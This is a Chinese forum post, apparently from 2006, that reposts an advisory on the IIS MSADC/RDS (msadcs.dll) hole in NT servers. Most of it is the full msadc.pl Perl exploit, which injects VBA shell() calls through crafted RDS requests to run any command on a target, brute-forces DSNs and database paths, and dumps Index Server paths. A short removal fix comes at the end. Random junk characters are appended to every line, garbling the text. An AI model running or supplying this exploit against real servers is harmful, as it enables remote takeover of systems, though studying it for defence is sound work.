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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) iE ,"YCK  
3JF" O+@  
涉及程序: G{a_\'7  
Microsoft NT server es$<Vkbp  
|Ur$H!oe?'  
描述: ]<_v;Q<t  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 s|:j~>53  
Orlf5 {P  
详细: Cv`dK=n>  
如果你没有时间读详细内容的话,就删除: Z?eedVV@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 0o 8V8 :  
有关的安全问题就没有了。 a3 t||@v!  
9}G<\y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Qb86*  
\@ N[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3X`N~_+  
关于利用ODBC远程漏洞的描述,请参看: axkNy}ct  
NV2$ >D  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OuPfB  
P@Pe5H"o  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 'H1k  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp `4qtmbj  
A_.}- dzF  
这里不再论述。 `2G%&R,k"D  
kNrd=s,-]D  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: J p0j  
T&E'MB  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Z?."cuTt  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +OO my  
v dU)  
o fCN[u  
#将下面这段保存为txt文件,然后: "perl -x 文件名" pEG!j ~  
srS5-fs  
#!perl ,esUls'nz'  
# gJOD+~  
# MSADC/RDS 'usage' (aka exploit) script 9*[!ux7h  
# |7miT!y8  
# by rain.forest.puppy z) "(&__  
# ~ =$d>ZNQ  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me r{Z4ifSl(  
# beta test and find errors! mr XmM<  
i%r+/D)KvG  
use Socket; use Getopt::Std; p,mKgL63  
getopts("e:vd:h:XR", \%args); L5]uT`Twa  
% hRH80W|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; `k9a$@Xg  
)6U^!95  
if (!defined $args{h} && !defined $args{R}) { $ 3.Y2&$T  
print qq~ Y0o{@)Y:  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }};AV)}J  
-h <host> = host you want to scan (ip or domain) R, U YwI  
-d <seconds> = delay between calls, default 1 second ebf/cC h  
-X = dump Index Server path table, if available F||oSJrI  
-v = verbose c&#B1NN<  
-e = external dictionary file for step 5 -&LF`V&3w  
uNvdlY]  
Or a -R will resume a command session .JWN\\  
R& HkWe  
~; exit;} }Q;^C  
x 4`RKv2m  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Fma#`{va  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} rJCu6  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \~>7n'd ]  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); H66F4i  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} iGIry^D  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Rw`64L_  
(ZD~Q_O-  
if (!defined $args{R}){ $ret = &has_msadc; %/%TR@/  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} `_pVwa<@w  
]P4?jKI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2-@z-XKn  
. "cmd /c "; F@-8J?Hl:  
$in=<STDIN>; chomp $in; VVi3g  
$command="cmd /c " . $in ; :i o[9B [  
Rs "#gT  
if (defined $args{R}) {&load; exit;} \{}5VVw-S?  
r]bG,?|  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; #>">fs]  
&try_btcustmr; N/8B@}@n  
+)*oPSQ5  
print "\nStep 2: Trying to make our own DSN..."; o? wEX%  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 7,R ~2ss5z  
na] 9-~4  
print "\nStep 3: Trying known DSNs..."; zw%1 a 3!  
&known_dsn; Xcci)",!  
b}m@2DR'|m  
print "\nStep 4: Trying known .mdbs..."; L&Pj0K-HT3  
&known_mdb; )bB Va^  
V`"Cd?R0Z  
if (defined $args{e}){ d+IN-lR(  
print "\nStep 5: Trying dictionary of DSN names..."; #9]O92t2UV  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } < *db%{  
`s_k+ g  
print "Sorry Charley...maybe next time?\n"; rTA#4.*&  
exit; q.d qr<  
OCWyp  
############################################################################## d'e\tO  
v2f|%i;tq  
sub sendraw { # ripped and modded from whisker /k=k rAz.  
sleep($delay); # it's a DoS on the server! At least on mine... (iu IeJ^Z  
my ($pstr)=@_; 'M% uw85  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9&OhCrxW-  
die("Socket problems\n"); Y]+KsiOL  
if(connect(S,pack "SnA4x8",2,80,$target)){ -;&-b>b  
select(S); $|=1; &B} ,xcNO  
print $pstr; my @in=<S>; '17V7A/t  
select(STDOUT); close(S); fvZ[eJ  
return @in; VI8/@A1Gv  
} else { die("Can't connect...\n"); }} Ihx[S!:  
x8RiYi+  
############################################################################## 6@ =ipPCR  
*30T$_PiX|  
sub make_header { # make the HTTP request zB#.EW  
my $msadc=<<EOT 2%~+c|TH.)  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 c^}DBvG,  
User-Agent: ACTIVEDATA 4siq  
Host: $ip 18ON`j  
Content-Length: $clen _*u$U  
Connection: Keep-Alive $NwPGy?%  
!~ZAm3GwL  
ADCClientVersion:01.06 3U[:N &Jb  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 | =tGrHL  
j%fi*2uX  
--!ADM!ROX!YOUR!WORLD! UkM#uKr:  
Content-Type: application/x-varg r.v.y[u  
Content-Length: $reqlen l+<AM%U\ V  
>ToI$~84  
EOT Lv:;}  
; $msadc=~s/\n/\r\n/g; 9]^NAlno  
return $msadc;} a- 7RJ.  
SnG XEQ  
############################################################################## $x(p:+TI\4  
QzV%m0  
sub make_req { # make the RDS request ZEG~ek=jM  
my ($switch, $p1, $p2)=@_; <ua! ]~  
my $req=""; my $t1, $t2, $query, $dsn; .}iRe}=  
<l$ vnq  
if ($switch==1){ # this is the btcustmr.mdb query >xIb|Yp)&  
$query="Select * from Customers where City=" . make_shell(); *:Y9&s^6j  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 256V xn  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 8l>YpS*S^  
/O[ Z  
elsif ($switch==2){ # this is general make table query q 7hoI]  
$query="create table AZZ (B int, C varchar(10))"; G3.\x_;k  
$dsn="$p1";} So}pA2[0  
$~'G<YYF4  
elsif ($switch==3){ # this is general exploit table query HnY.=_G  
$query="select * from AZZ where C=" . make_shell(); ^AR kjYt  
$dsn="$p1";} !+n'0{  
>,c'Z<TM  
elsif ($switch==4){ # attempt to hork file info from index server M~g@y$  
$query="select path from scope()"; {R7m qzt  
$dsn="Provider=MSIDXS;";} N'I9J?e Q  
:qtg`zM/4  
elsif ($switch==5){ # bad query fs8C ^Ik>~  
$query="select"; "VA'W/yv!  
$dsn="$p1";} Q@cYHFi~+  
ho}G]y  
$t1= make_unicode($query); ez[$;>  
$t2= make_unicode($dsn); mN'sJ1L-  
$req = "\x02\x00\x03\x00"; 8j8~?=$a6Q  
$req.= "\x08\x00" . pack ("S1", length($t1)); )C $1))  
$req.= "\x00\x00" . $t1 ; MO *7:hI  
$req.= "\x08\x00" . pack ("S1", length($t2)); @g1T??h   
$req.= "\x00\x00" . $t2 ; kf_*=ER  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; iy|xF~  
return $req;} E{[>j'dwc  
`i6q\-12n  
############################################################################## nC#SnyUO  
{"\pMY'7  
sub make_shell { # this makes the shell() statement Fhs/<w-  
return "'|shell(\"$command\")|'";} _`xhP-,`S  
__)"-\w-_(  
############################################################################## ,~XAV ;+  
8FQNeQr  
sub make_unicode { # quick little function to convert to unicode 0D}k ^W  
my ($in)=@_; my $out; FF#?x@N:  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } g\@zQ^O?  
return $out;} >,n K  
N7Kkz /  
############################################################################## E=qfI>2U&  
/5Xt<7vm8  
sub rdo_success { # checks for RDO return success (this is kludge) %TzdpQp"  
my (@in) = @_; my $base=content_start(@in); {/!Yavx  
if($in[$base]=~/multipart\/mixed/){ )9kp[hY  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} cxnEcX\   
return 0;} HVNX"`]"  
+(oExp(!  
############################################################################## &}VVr  
,UneS  
sub make_dsn { # this makes a DSN for us q5>!.v   
my @drives=("c","d","e","f"); |6~ Kin  
print "\nMaking DSN: "; ^aY,Wq  
foreach $drive (@drives) { }\vw>iHPX@  
print "$drive: "; Gvqu v\  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . jgT *=/GH2  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 2z9N/SyN  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %wIb@km  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; gA&`vnNP  
return 0 if $2 eq "404"; # not found/doesn't exist sh}eKwh  
if($2 eq "200") { 'HvJ]}p  
foreach $line (@results) { C40W@*6S2  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} T,v5cc:nO  
} return 0;} /.:&9 c  
k~qZ^9QB~  
############################################################################## 3q`Uq`t4mR  
57:27d0y  
sub verify_exists { ! $fF3^8-  
my ($page)=@_; 4JGU`L:~  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 1#nY Z%  
return $results[0];} l!%V&HJV  
Ol*|J  
############################################################################## =${ImMwj  
'.#3h$d  
sub try_btcustmr { b%e7rY2  
my @drives=("c","d","e","f"); l,ra24  
my @dirs=("winnt","winnt35","winnt351","win","windows"); d 2z!i^:  
I3dUI~}u  
foreach $dir (@dirs) { ='fN xabB  
print "$dir -> "; # fun status so you can see progress N~9zQ  
foreach $drive (@drives) { %QX"oRMn0  
print "$drive: "; # ditto (z X&feq  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; iI!g1  
$reqlenlen=length( "$reqlen" ); YG>6;g)Zm  
$clen= 206 + $reqlenlen + $reqlen; Xh`Oin}<  
:A`jRe.  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6('xIE(R  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} l7uEUMV  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;`FR1KIg  
n$3w=9EX *  
############################################################################## ex)U'.^  
B[[1=  
sub odbc_error { :/i13FQ  
my (@in)=@_; my $base; sW!MVv  
my $base = content_start(@in); $>=w<=r|;  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 5z"[{ #/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ms=11C  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (:|1h@K/R  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "oT]_WHqo  
return $in[$base+4].$in[$base+5].$in[$base+6];} a>Xq   
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; KZwzQ"Hl  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . yb'v*B ]  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} RBOhV/f  
kk+:y{0V  
############################################################################## [I%'\CI;  
5z 9'~Gfb  
sub verbose { txy'7t  
my ($in)=@_; _OR[RGy  
return if !$verbose; 09Y:(2Qri  
print STDOUT "\n$in\n";} $ Bdxu  
a`S3v  
############################################################################## r }Nq"s<  
wI2fCq(a0  
sub save { U<U?&hB\@  
my ($p1, $p2, $p3, $p4)=@_; 7kQ,D,c'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 8Tm/gzx  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 7dXh,sD  
close OUT;} luV_  
n_-k <3  
############################################################################## R!7a;J}  
pOIfKd  
sub load { 8:}$L)[V  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3vF-SgCV  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); N"/be  
@p=<IN>; close(IN); =N{-lyr)  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); vz'<i. Yv4  
$target= inet_aton($ip) || die("inet_aton problems"); L'}^Av_+  
print "Resuming to $ip ..."; k1M?6TW&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 4I3)eS%2  
if($p[1]==1) { R|dSjEs  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; S-G#+ Ue2  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; mNr<=Z%b  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); t[x[X4  
if (rdo_success(@results)){print "Success!\n";} K]dX5vJw'  
else { print "failed\n"; verbose(odbc_error(@results));}} jp+#N pH  
elsif ($p[1]==3){  `/eh  
if(run_query("$p[3]")){ StM)lVeF  
print "Success!\n";} else { print "failed\n"; }} pqxBu  
elsif ($p[1]==4){ 3G-f+HN^E  
if(run_query($drvst . "$p[3]")){ Kw,ln<)2  
print "Success!\n"; } else { print "failed\n"; }} }#9 |au`  
exit;} f{f|frs  
"aeKrMgc6V  
############################################################################## }o9(Q8  
[N guQ]B.  
sub create_table { N;XJMk_ H  
my ($in)=@_; 1A/li%  
$reqlen=length( make_req(2,$in,"") ) - 28; YX 19QG%  
$reqlenlen=length( "$reqlen" ); He)dm5#fg  
$clen= 206 + $reqlenlen + $reqlen; F` ]s  
my @results=sendraw(make_header() . make_req(2,$in,"")); ~aRcA|`  
return 1 if rdo_success(@results); 7\JA8mm  
my $temp= odbc_error(@results); verbose($temp); ~n!7 ?4%U  
return 1 if $temp=~/Table 'AZZ' already exists/; SLI358]$<  
return 0;} e+P|PW  
[LHfH3[gU  
############################################################################## ?[S{kMb2  
DwH=ln=  
sub known_dsn { bL18G(5  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 5 }F6s  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", >`+-Yi$(\  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", R3} Z"  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); aW#_"Y}v'  
m4kUA"n5  
foreach $dSn (@dsns) { K6z-brvw "  
print "."; VWcR@/3  
next if (!is_access("DSN=$dSn")); 9 A1w5|X  
if(create_table("DSN=$dSn")){ Se&%Dr3Nv  
print "$dSn successful\n"; AC/82$  
if(run_query("DSN=$dSn")){ )ia$pe s  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { CF+:9PG  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {"w4+m~+te  
@X*r5hjc  
############################################################################## L~xzfO  
'aW<C>  
sub is_access { E>6:59+  
my ($in)=@_; 'Z(4Wuwb  
$reqlen=length( make_req(5,$in,"") ) - 28; EL-1o0 2-  
$reqlenlen=length( "$reqlen" ); IEJp!P,E  
$clen= 206 + $reqlenlen + $reqlen; 7U{g'<  
my @results=sendraw(make_header() . make_req(5,$in,"")); [!E~pW%|n  
my $temp= odbc_error(@results); D^W?~7e ^r  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); I@9k+JB   
return 0;} 6sp?'GO`~  
nH]F$'rtA  
############################################################################## !t 92_y3  
bAqaf#}e  
sub run_query { iv62Fs'  
my ($in)=@_; gAgP("  
$reqlen=length( make_req(3,$in,"") ) - 28; Gr?[s'Ze  
$reqlenlen=length( "$reqlen" ); Oy/+uw^  
$clen= 206 + $reqlenlen + $reqlen; {,rVA(I@  
my @results=sendraw(make_header() . make_req(3,$in,"")); Nm]\0m0p-  
return 1 if rdo_success(@results); kKg%[zXS  
my $temp= odbc_error(@results); verbose($temp); zSFqy'b.M-  
return 0;} xlWTHn!j  
|);-{=.OdQ  
############################################################################## ^zr]#`@G  
)#l,RJ(  
sub known_mdb { @7aSq-(_l*  
my @drives=("c","d","e","f","g"); y}bE'Od  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *T'>-nm]  
my $dir, $drive, $mdb; ij=}3;L_!  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; mME a*9P  
.\> I-  
# this is sparse, because I don't know of many e.IKmH]z  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8L7ZWw d  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", i@M^9|Gh  
"\\system32\\certmdb.mdb", D>Qc/+  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ;eRYgC  
' Z}/3 dp  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",  Gp/yr  
"\\cfusion\\cfapps\\forums\\forums_.mdb", q={\|j$X  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", SlZ>N$E  
"\\cfusion\\cfapps\\security\\realm_.mdb", T=QV =21qn  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", N yK7TKui  
"\\cfusion\\database\\cfexamples.mdb", p7;/| ]o3  
"\\cfusion\\database\\cfsnippets.mdb", Ih.6"ISK}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", IL]VY1'#  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", &zYo   
"\\cfusion\\brighttiger\\database\\cleam.mdb", &L S&O  
"\\cfusion\\database\\smpolicy.mdb", C%csQ m  
"\\cfusion\\database\cypress.mdb", l;dZJ_Ut$  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", v*7lJNN.  
"\\website\\cgi-win\\dbsample.mdb", ?Q)z5i'g#  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", eY1$s mh t  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" fscAG\>8  
); #these are just 5/O;&[lYy  
foreach $drive (@drives) { $3Ct@}=n  
foreach $dir (@dirs){ I(dMiL  
foreach $mdb (@sysmdbs) { bNG;`VZ%  
print "."; ~agzp`!M  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ^{T3lQvt  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )c#m<_^  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ JL4\%  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ppzd.=E  
} else { print "Something's borked. Use verbose next time\n"; }}}}} TKsze]/q  
Uaho.(_GP  
foreach $drive (@drives) { t-$R)vZ}M  
foreach $mdb (@mdbs) { #~r+   
print "."; /i]!=~\qFs  
if(create_table($drv . $drive . $dir . $mdb)){ VzR (O B  
print "\n" . $drive . $dir . $mdb . " successful\n"; *$Df)iI6  
if(run_query($drv . $drive . $dir . $mdb)){ t1)b26;  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0UmKS\P  
} else { print "Something's borked. Use verbose next time\n"; }}}} c2z%|\q  
} GP5Y5 )  
pCQB<6&1N  
############################################################################## ;y7V-sf  
_Z|s!~wdz  
sub hork_idx { vRLkz4z   
print "\nAttempting to dump Index Server tables...\n"; i~dW)7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ''Y}Q"  
$reqlen=length( make_req(4,"","") ) - 28; ?5#Ng,8iT  
$reqlenlen=length( "$reqlen" ); yuvt<kz  
$clen= 206 + $reqlenlen + $reqlen; ;u'mSJI'  
my @results=sendraw2(make_header() . make_req(4,"","")); tZ]|3wp  
if (rdo_success(@results)){ >Udb*76 D  
my $max=@results; my $c; my %d; ~R]E=/m|  
for($c=19; $c<$max; $c++){ {Tp0#fi  
$results[$c]=~s/\x00//g; DGx9 \8^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; kN4nRW9z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 6s833Tmb&r  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 7R mL#f`  
$d{"$1$2"}="";} av(d0E}}b  
foreach $c (keys %d){ print "$c\n"; } +b.qzgH>r  
} else {print "Index server doesn't seem to be installed.\n"; }} VJX{2$L  
XB)e;R  
############################################################################## 7 N?x29  
`MgR/@%hr  
sub dsn_dict { 4-4lh TE(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); C^S?W=1=w  
while(<IN>){ \*H/YByTb  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; dF{3 ~0+,  
next if (!is_access("DSN=$dSn")); j[XA"DZR<  
if(create_table("DSN=$dSn")){ 8z^?PZ/  
print "$dSn successful\n"; R$&|*0  
if(run_query("DSN=$dSn")){ |i"A!r W  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { sD$ \!7:b  
print "Something's borked. Use verbose next time\n";}}} )""i"/Mn  
print "\n"; close(IN);} /(w:XTO<  
2sjP":  
############################################################################## ,P ?TYk  
BYEqTwhT&  
sub sendraw2 { # ripped and modded from whisker w0Fi~:b  
sleep($delay); # it's a DoS on the server! At least on mine... \`#;J?Y|`F  
my ($pstr)=@_; ,@=qaU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || O~g _rcG  
die("Socket problems\n"); Tv<iHHp  
if(connect(S,pack "SnA4x8",2,80,$target)){ I?v)>| |Q  
print "Connected. Getting data"; XnQd(B`M  
open(OUT,">raw.out"); my @in; ,9q=2V[GP  
select(S); $|=1; print $pstr; h'<}N  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} BJk:h-m [  
close(OUT); select(STDOUT); close(S); return @in; i+yqsYKO  
} else { die("Can't connect...\n"); }} :b;2iBVB  
YNbs* i&  
############################################################################## zh'TR$+\hO  
  /I  
sub content_start { # this will take in the server headers =y8HOT}8  
my (@in)=@_; my $c; ^>uzMR!q5  
for ($c=1;$c<500;$c++) { pv TV*  
if($in[$c] =~/^\x0d\x0a/){ #lQbMuR  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } xTX\% s|  
else { return $c+1; }}} 5j`"@C5;O  
return -1;} # it should never get here actually Phl't~k  
k0?4vA  
############################################################################## tnbaU%;|J  
L1`^~m|  
sub funky { 0/<}.Z]  
my (@in)=@_; my $error=odbc_error(@in); ?L#C'Lz2+  
if($error=~/ADO could not find the specified provider/){ cD8.rRyD  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?6B)Ek,'X?  
exit;} %}P^B^O  
if($error=~/A Handler is required/){ MQ2gzKw>  
print "\nServer has custom handler filters (they most likely are patched)\n"; ={b/s31H:  
exit;} y-}lz#N  
if($error=~/specified Handler has denied Access/){ 2GcQh]ohc  
print "\nServer has custom handler filters (they most likely are patched)\n"; YL&$cT]1  
exit;}} ;)[RG\  
bvn?wK   
############################################################################## E$/`7p8)  
V;?_l?_  
sub has_msadc { KO<fN,DR  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); "OFYVK\]i  
my $base=content_start(@results); B4R!V!Z*  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 'g#Ml`cm  
return 0;} fyx-VXu  
n.67f  
######################## iwCnW7:  
Es zwg  
8[,,Kr)-  
解决方案: bOux8OHt*  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll oo3ZYA  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 QY-P!JD  
AZorzQ]s  
拿出来充数 哈哈
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